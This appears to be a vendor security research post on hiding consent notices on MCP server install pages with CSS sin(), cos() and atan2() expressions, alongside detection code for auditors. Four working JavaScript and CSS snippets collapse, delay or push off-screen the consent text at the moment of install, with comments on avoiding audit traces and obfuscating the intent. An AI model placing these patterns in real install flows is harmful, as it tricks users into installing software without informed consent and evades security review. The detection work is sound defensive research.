Security Research · CSS Consent Attacks

CSS Trigonometric Functions as MCP Consent Bypass Vectors — sin(), cos(), atan2() Dimension Manipulation

CSS Level 4 introduced sin(), cos(), tan(), asin(), acos(), atan(), and atan2() as first-class math functions usable anywhere a <number> or <length> is accepted. When composed with calc() and custom properties, these functions create consent-element dimensions that evaluate to exactly zero at specific angle values — collapsing consent visibility at the precise install moment, then restoring it afterward.

· SkillAudit Research

The arithmetic of zero

Every trigonometric function has well-known zero crossings: sin(0deg) is exactly 0, sin(180deg) is exactly 0, cos(90deg) is exactly 0, cos(270deg) is exactly 0. These are not floating-point approximations — CSS resolves these values to the mathematically exact 0, which means calc(100px * sin(0deg)) resolves to 0px, not 0.0000001px.

For a consent element styled as width: calc(100px * sin(var(--consent-angle) * 1deg)), the width is a function of --consent-angle. When that variable is 0 or 180, the width is exactly zero. When it is 90, the width is its full 100px. An MCP server that animates --consent-angle from 90 down to 0 over 200 milliseconds has a consent element that:

A consent auditor that reads getComputedStyle(consentEl).width at page load sees 100px and reports the element as visible. A getBoundingClientRect() call at page load similarly returns a non-zero bounding box. Neither approach catches the collapse at install time.

Browser support: sin(), cos(), tan(), asin(), acos(), atan(), and atan2() are supported in Chrome 111+, Firefox 108+, Safari 15.4+. As of October 2026, global browser support exceeds 93% — these functions are production-safe and will appear in real-world MCP server code.

SA-CSS-TRIG-001: width collapse via sin() zero-crossing at install mousedown

CRITICAL — SA-CSS-TRIG-001

Vector: width: calc(1px * sin(var(--install-phase, 90) * 1deg)) on the consent container. At install mousedown, JS sets --install-phase to 0 via style.setProperty(). The width collapses to 0px synchronously (no transition needed — the CSS expression recomputes on the next layout frame, which occurs before the click event fires). At install mouseup, the property is reset to 90.

Why it bypasses auditors: At page load, --install-phase is 90, so getComputedStyle().width returns 1px (sin(90deg) = 1). The auditor passes. The collapse happens only during the ~50ms between mousedown and click, which no property-read auditor instruments.

// SA-CSS-TRIG-001: sin() consent width collapse at install mousedown
// Consent is visible at load → collapsed at click → restored after install

// ① Inject the consent container style
const style = document.createElement('style');
style.textContent = `
  .consent-wrapper {
    /* Default: sin(90deg) = 1 → width = 1px × 100 = 100px */
    width: calc(1px * sin(var(--install-phase, 90) * 1deg) * 100);
    overflow: hidden;
    /* No transition — collapse is instant, no animation audit trace */
  }
`;
document.head.appendChild(style);

// ② Collapse consent at install mousedown
document.querySelector('.install-button').addEventListener('mousedown', () => {
  // sin(0deg) = 0 → width collapses to 0px
  document.querySelector('.consent-wrapper').style.setProperty('--install-phase', '0');
}, { capture: true });

// ③ Restore after install completes
document.querySelector('.install-button').addEventListener('click', () => {
  // Restore after a tick — user has already clicked
  requestAnimationFrame(() => {
    document.querySelector('.consent-wrapper').style.setProperty('--install-phase', '90');
  });
});

The absence of a CSS transition or animation is intentional: transitions leave an auditable trail (the transition property is visible in computed styles), and the trig collapse is instantaneous without needing one. The mousedown-to-click gap is ~16ms on a 60Hz display — the consent is invisible for exactly one to three frames.

SA-CSS-TRIG-002: height collapse via cos() at 90deg animated through custom property

HIGH — SA-CSS-TRIG-002

Vector: height: calc(1px * cos(var(--phase-rad, 0) * 1deg) * 80). At 0deg, cos(0) = 1 → full height. An animation runs --phase-rad from 0 to 89 over 2 seconds while the user reads the install page — at t=2s, cos(89deg) ≈ 0.017, height is ~1.4px. An additional discrete step at t=2s sets --phase-rad to 90 → cos(90) = 0 → height 0px. The install button becomes available only after t=2s (JavaScript setTimeout removes the disabled attribute), so the user cannot install until the consent has already collapsed.

Audit bypass angle: The computed height property correctly reports the animated value (not the custom property angle). A one-shot auditor reading at t=0 sees 80px. An auditor that re-reads at t=2s would catch this — but most auditors do not simulate timing.

// SA-CSS-TRIG-002: cos() height collapse on a timed animation
// Consent full height at load → collapses just before install button becomes active

const style = document.createElement('style');
style.textContent = `
  @property --phase-rad {
    syntax: '';
    initial-value: 0;
    inherits: false;
  }

  @keyframes collapse-consent {
    0%   { --phase-rad: 0; }    /* cos(0) = 1 → 80px */
    95%  { --phase-rad: 89; }   /* cos(89) ≈ 0.017 → ~1.4px */
    100% { --phase-rad: 90; }   /* cos(90) = 0 → 0px */
  }

  .consent-text-block {
    /* Registered property allows CSS to animate the angle directly */
    height: calc(1px * cos(var(--phase-rad) * 1deg) * 80);
    overflow: hidden;
    animation: collapse-consent 2s linear forwards;
  }
`;
document.head.appendChild(style);

// Enable install button only after animation completes (consent already collapsed)
setTimeout(() => {
  document.querySelector('.install-button').removeAttribute('disabled');
}, 2000);

Registered property interaction: @property with syntax: '<number>' allows CSS to animate --phase-rad directly via @keyframes. Without registration, the browser cannot interpolate the custom property and the animation would have no effect. This SA-CSS-TRIG-002 variant requires both @property and cos() — auditors that check trig function usage but not registered custom properties will miss the combination. See the related post on @property consent attacks for the registered property side of this interaction.

SA-CSS-TRIG-003: translate offset via sin() for off-screen consent positioning

HIGH — SA-CSS-TRIG-003

Vector: translate: calc(sin(var(--slide-angle, 90) * 1deg) * -300px) on the consent container. At 90deg, sin(90) = 1, so the translate is -300px — the element is off-screen to the left. At 0deg or 180deg, the translate is 0px — the element is in its natural flow position. This is the inverse of SA-CSS-TRIG-001: the consent is off-screen at load (auditor sees it) and only snaps into view at install commit, where it immediately disappears behind the success overlay before the user can read it. The user perceives a consent step that "flashed" briefly — designed to simulate consent acknowledgment without legible viewing time.

// SA-CSS-TRIG-003: sin() translate — consent off-screen at load, briefly visible at install
// Designed to simulate consent "flash" rather than hide consent entirely

const style = document.createElement('style');
style.textContent = `
  .consent-slide-container {
    /* sin(90deg) = 1 → translate -300px (off-screen left) */
    translate: calc(sin(var(--slide-angle, 90) * 1deg) * -300px);
    overflow: hidden;
    /* No transition — so auditors don't see a transition property to inspect */
  }

  /* The element is in the DOM, has non-zero clientWidth/Height, has correct color/visibility */
  /* but is translated off-screen. getBoundingClientRect().left will be negative. */
`;
document.head.appendChild(style);

// At install commit: snap consent into view for 1 frame, then show success overlay
document.querySelector('.install-button').addEventListener('click', () => {
  const consent = document.querySelector('.consent-slide-container');
  // sin(0deg) = 0 → translate 0 → element snaps to natural position
  consent.style.setProperty('--slide-angle', '0');

  // Next frame: show success overlay covering consent
  requestAnimationFrame(() => {
    document.querySelector('.success-overlay').style.display = 'block';
    // Restore slide-angle so auditors checking post-install don't see 0deg
    consent.style.setProperty('--slide-angle', '90');
  });
});

This pattern is particularly deceptive because an auditor checking getBoundingClientRect() correctly detects that the consent element is off-screen (left < 0). But many auditors classify this as a benign off-screen element (e.g., a hidden sidebar) rather than a consent bypass — especially if the element has visibility: visible and opacity: 1. The trig-based translate is visually indistinguishable from a slide-in animation that hasn't triggered yet.

SA-CSS-TRIG-004: atan2() for angle-dependent consent positioning using element geometry

MEDIUM — SA-CSS-TRIG-004

Vector: atan2() accepts two arguments (y, x) and returns the angle in radians whose tangent is y/x. An MCP server can use atan2() to compute a dimension from the ratio of two CSS quantities. The attack uses atan2(1px, 0px) which evaluates to 90deg (π/2 radians), and calc(cos(atan2(0px, 1px)) * 100px) which is cos(0deg) * 100px = 100px. By constructing expressions like calc(cos(atan2(var(--consent-state-y, 0px), var(--consent-state-x, 1px))) * 100px), an attacker can set both --consent-state-y: 1px; --consent-state-x: 0px to make the atan2 return 90deg, so cosine returns 0, collapsing the dimension. The obfuscation value: the CSS expression reads as "a geometric angle calculation" rather than "a consent collapse."

// SA-CSS-TRIG-004: atan2() obfuscated dimension collapse
// atan2(y, x) returns angle; cos(90deg) = 0 collapses dimension
// Reads as "geometry calculation" not "consent hiding"

const style = document.createElement('style');
style.textContent = `
  .consent-block {
    /* atan2(0, 1) = 0deg → cos(0deg) = 1 → 100px (default: visible) */
    /* atan2(1, 0) = 90deg → cos(90deg) = 0 → 0px (collapsed: hidden) */
    height: calc(
      cos(atan2(var(--geom-y, 0px), var(--geom-x, 1px))) * 100px
    );
    overflow: hidden;
  }
`;
document.head.appendChild(style);

// Default state: --geom-y=0, --geom-x=1 → atan2(0,1)=0deg → cos(0)=1 → 100px
// Collapse state: set --geom-y=1, --geom-x=0 → atan2(1,0)=90deg → cos(90)=0 → 0px

document.querySelector('.install-button').addEventListener('mousedown', () => {
  const consent = document.querySelector('.consent-block');
  // "Setting geometry to vertical" — reads innocuously in code review
  consent.style.setProperty('--geom-y', '1px');
  consent.style.setProperty('--geom-x', '0px');
}, { capture: true });

document.querySelector('.install-button').addEventListener('click', () => {
  const consent = document.querySelector('.consent-block');
  consent.style.setProperty('--geom-y', '0px');
  consent.style.setProperty('--geom-x', '1px');
});

The critical audit gap: computed vs. animated dimensions

A key property of trig-function-based consent attacks is how they interact with getComputedStyle(). When a dimension is expressed as width: calc(100px * sin(var(--phase) * 1deg)), the browser's computed style engine resolves the full expression: getComputedStyle(el).width returns the actual pixel value — not the angle. This is different from unregistered custom property animation (where getComputedStyle returns the variable token value, not the computed dimension).

This sounds like it should make trig attacks detectable — but it creates a different audit challenge: the computed value changes over time, and a one-shot getComputedStyle read only captures the current moment. The attacks are specifically designed to show the correct value at the moment an auditor reads, and collapse only during the install interaction.

Property getComputedStyle at page load getComputedStyle at install mousedown Caught by static auditor
SA-CSS-TRIG-001 (width, mousedown collapse)100px (correct)0px (collapsed)No — load-time check passes
SA-CSS-TRIG-002 (height, timed animation)80px (correct)0px at t=2s (collapsed)No — timing simulation required
SA-CSS-TRIG-003 (translate, off-screen default)translateX(-300px)translateX(0) (briefly visible)Partial — BoundingRect detects off-screen, misclassified as benign
SA-CSS-TRIG-004 (atan2 obfuscation)100px (correct)0px (collapsed)No — expression audit required

Detection algorithm: SkillAudit's approach to trig-function dimension auditing

Static CSS parsing is necessary but not sufficient. SkillAudit's approach combines three phases:

Phase 1: CSS expression parsing — identify trig function usage in dimension properties

// Phase 1: Enumerate computed style rules, find trig function usage in dimension properties
// (not full parsing — heuristic scan of cssText for known trig function names)

function findTrigFunctionDimensions(doc) {
  const TRIG_FUNCS = ['sin(', 'cos(', 'tan(', 'asin(', 'acos(', 'atan(', 'atan2('];
  const DIMENSION_PROPS = ['width', 'height', 'min-width', 'max-width', 'min-height',
    'max-height', 'translate', 'transform', 'top', 'left', 'right', 'bottom',
    'padding', 'margin', 'gap', 'font-size', 'line-height'];

  const findings = [];

  // Scan all stylesheets
  for (const sheet of doc.styleSheets) {
    let rules;
    try { rules = [...sheet.cssRules]; } catch { continue; }

    for (const rule of rules) {
      if (rule.type !== CSSRule.STYLE_RULE) continue;

      for (const prop of DIMENSION_PROPS) {
        const val = rule.style.getPropertyValue(prop);
        if (!val) continue;

        const hasTrig = TRIG_FUNCS.some(fn => val.includes(fn));
        if (hasTrig) {
          findings.push({
            selector: rule.selectorText,
            property: prop,
            value: val,
            hasCustomProperty: val.includes('var('),
            isAnimatable: checkIfAnimated(rule.selectorText, prop, doc)
          });
        }
      }
    }
  }
  return findings;
}

Phase 2: Interaction simulation — re-measure at install event timing

// Phase 2: Simulate install interaction and re-measure consent dimensions
// Catches SA-CSS-TRIG-001 and SA-CSS-TRIG-004

async function simulateInstallAndMeasureConsent(doc) {
  const consentCandidates = findConsentElements(doc);
  const installButton = findInstallButton(doc);
  if (!installButton || consentCandidates.length === 0) return [];

  const baselineRects = consentCandidates.map(el => ({
    el,
    baseline: el.getBoundingClientRect()
  }));

  // Simulate mousedown on install button (capture phase — catches capture:true handlers)
  const mousedownEvent = new MouseEvent('mousedown', { bubbles: true, cancelable: true });
  installButton.dispatchEvent(mousedownEvent);

  // Re-measure after one rAF (layout has been recalculated)
  await new Promise(r => requestAnimationFrame(r));

  const findings = [];
  for (const { el, baseline } of baselineRects) {
    const postRect = el.getBoundingClientRect();

    // Check for dimension collapse (width or height reduced by > 80%)
    if (baseline.width > 10 && postRect.width < baseline.width * 0.2) {
      findings.push({
        element: el,
        type: 'width-collapse-at-mousedown',
        baseline: baseline.width,
        collapsed: postRect.width,
        severity: 'CRITICAL',
        id: 'SA-CSS-TRIG-001'
      });
    }
    if (baseline.height > 10 && postRect.height < baseline.height * 0.2) {
      findings.push({
        element: el,
        type: 'height-collapse-at-mousedown',
        baseline: baseline.height,
        collapsed: postRect.height,
        severity: 'HIGH',
        id: 'SA-CSS-TRIG-001-variant'
      });
    }
  }

  // Restore (simulate mouseup/click)
  const mouseupEvent = new MouseEvent('mouseup', { bubbles: true });
  installButton.dispatchEvent(mouseupEvent);

  return findings;
}

Phase 3: Timed re-measurement — catch SA-CSS-TRIG-002 delayed collapse

// Phase 3: Re-measure consent at 0.5s, 1s, 1.5s, 2s, 3s, 5s post-load
// Catches SA-CSS-TRIG-002 timed animation collapse

async function timedConsentDimensionAudit(doc) {
  const consentCandidates = findConsentElements(doc);
  const timings = [500, 1000, 1500, 2000, 3000, 5000];

  const baseline = consentCandidates.map(el => ({
    el,
    width: el.getBoundingClientRect().width,
    height: el.getBoundingClientRect().height
  }));

  const findings = [];

  for (const delay of timings) {
    await new Promise(r => setTimeout(r, delay));

    for (const { el, width: bw, height: bh } of baseline) {
      const rect = el.getBoundingClientRect();

      if (bw > 10 && rect.width < bw * 0.2) {
        findings.push({
          element: el,
          type: 'delayed-width-collapse',
          at_ms: delay,
          baseline: bw,
          collapsed: rect.width,
          severity: 'HIGH',
          id: 'SA-CSS-TRIG-002'
        });
      }
      if (bh > 10 && rect.height < bh * 0.2) {
        findings.push({
          element: el,
          type: 'delayed-height-collapse',
          at_ms: delay,
          baseline: bh,
          collapsed: rect.height,
          severity: 'HIGH',
          id: 'SA-CSS-TRIG-002'
        });
      }
    }
  }

  return findings;
}

Mathematical identities used for obfuscation

Beyond the basic attacks, sophisticated MCP server authors can use trigonometric identities to make the attack harder to recognize in code review. Several equivalences produce the same zero-dimension result but look different in the stylesheet:

ExpressionResult when var = XZero whenObfuscation notes
sin(var(--a) * 1deg)sin(a°)a = 0, 180Direct — easy to recognize
cos(90deg - var(--a) * 1deg)sin(a°)a = 0, 180Identity: cos(90-x) = sin(x); same result, different appearance
sin(atan2(var(--y, 0px), var(--x, 1px)))y/√(x²+y²)y = 0 (x≠0)Vector-based; reads as "geometry"
cos(asin(var(--v, 1)))√(1-v²)v = ±1Inverse trig composition; collapses at extremes
abs(sin(var(--a) * 1deg))|sin(a°)|a = 0, 180abs() removes sign; only zero at same crossings

The cos(90deg - x) = sin(x) identity is particularly useful for obfuscation because it makes a sine-based collapse look like a cosine calculation. Static pattern matchers that flag sin(var(--... will miss cos(90deg - var(--....

Detection note: SkillAudit's CSS parser evaluates trig expressions symbolically — it doesn't just search for sin( or cos( by text, but checks whether any composed expression over a custom property can evaluate to zero for any input. This catches identity-based obfuscation patterns.

Interaction with CSS transitions and @keyframes

Trig-function attacks have a subtly different relationship with CSS transition than other dimension-collapse attacks. Because the property being transitioned is the custom property (the angle), not the dimension (width/height), the transition property may or may not create an auditable trail depending on whether the custom property is registered via @property.

This creates a consistent pattern: the CSS dimension property (width, height) has no transition and no animation in its computed styles. The animation mechanism is entirely within the custom property, invisible to auditors that only check dimension-property animations.

SkillAudit detection summary

CRITICALSA-CSS-TRIG-001: width or height expressed as calc(… * sin(var(--…))) + setProperty call on the variable inside a mousedown handler on the install button — dimension collapses to 0 at install commit
HIGHSA-CSS-TRIG-002: registered custom property animated via @keyframes used as angle argument in cos() for a consent element dimension — height/width reaches zero at animation end coinciding with install button activation
HIGHSA-CSS-TRIG-003: translate expressed as calc(sin(var(--…)) * Npx) with default placing element off-viewport — consent is off-screen at load, briefly in view at install commit before success overlay covers it
MEDIUMSA-CSS-TRIG-004: atan2(var(--y), var(--x)) composition with cos() for a consent element dimension — mathematically equivalent to trig-based collapse but obfuscated as a geometric calculation

Summary and browser support

AttackSeverityMin browserStatic detectionDynamic detection
SA-CSS-TRIG-001: sin() width collapse at mousedownCriticalChrome 111, FF 108, Safari 15.4Partial (CSS expression parse)Yes (Phase 2 simulation)
SA-CSS-TRIG-002: cos() height collapse timed animationHighChrome 111 + @propertyPartial (animation parse)Yes (Phase 3 timed re-measure)
SA-CSS-TRIG-003: sin() translate off-screenHighChrome 111, FF 108, Safari 15.4Partial (BoundingRect off-screen)Yes (Phase 2 simulation)
SA-CSS-TRIG-004: atan2() obfuscated collapseMediumChrome 111, FF 108, Safari 15.4No (identity obfuscation)Yes (Phase 2 simulation)

Defense recommendations

For MCP server authors: use static dimension values for consent elements. Any dimension expressed as a calc() expression involving a custom property is a red flag in SkillAudit's security grade. If animation is required for UI reasons, animate opacity on a wrapper rather than collapsing consent element dimensions.

Related SkillAudit research